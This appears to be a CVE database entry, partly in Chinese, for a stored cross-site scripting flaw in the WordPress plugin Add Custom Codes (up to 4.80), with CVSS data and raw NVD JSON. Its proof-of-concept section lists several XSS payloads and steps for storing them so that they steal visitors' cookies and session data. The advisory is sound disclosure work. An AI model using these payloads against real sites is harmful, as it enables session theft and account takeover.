Security Vulnerability Report
中文
CVE-2025-62149 CVSS 5.9 MEDIUM

CVE-2025-62149

Published: 2025-12-31 14:15:54
Last Modified: 2026-04-23 15:34:38

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Stored XSS.This issue affects Add Custom Codes: from n/a through <= 4.80.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Add Custom Codes插件 <= 4.80

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
Payload: <script>alert(document.cookie)</script> 利用步骤: 1. 登录WordPress后台,进入Add Custom Codes插件设置 2. 在自定义代码输入框中插入XSS Payload 3. 保存设置,恶意代码被存储到数据库 4. 当用户访问相关页面时,恶意脚本被执行 5. 攻击者可获取用户Cookie、会话信息等敏感数据 变体Payload: <img src=x onerror=alert('XSS')> <svg onload=alert(document.domain)> javascript:eval(atob('YWxlcnQoJ1hTUycpOw=='))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62149", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:53.787", "lastModified": "2026-04-23T15:34:37.990", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Stored XSS.This issue affects Add Custom Codes: from n/a through <= 4.80."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en SaifuMak Add Custom Codes permite XSS Almacenado. Este problema afecta a Add Custom Codes: desde n/a hasta 4.80."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/add-custom-codes/vulnerability/wordpress-add-custom-codes-plugin-4-80-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}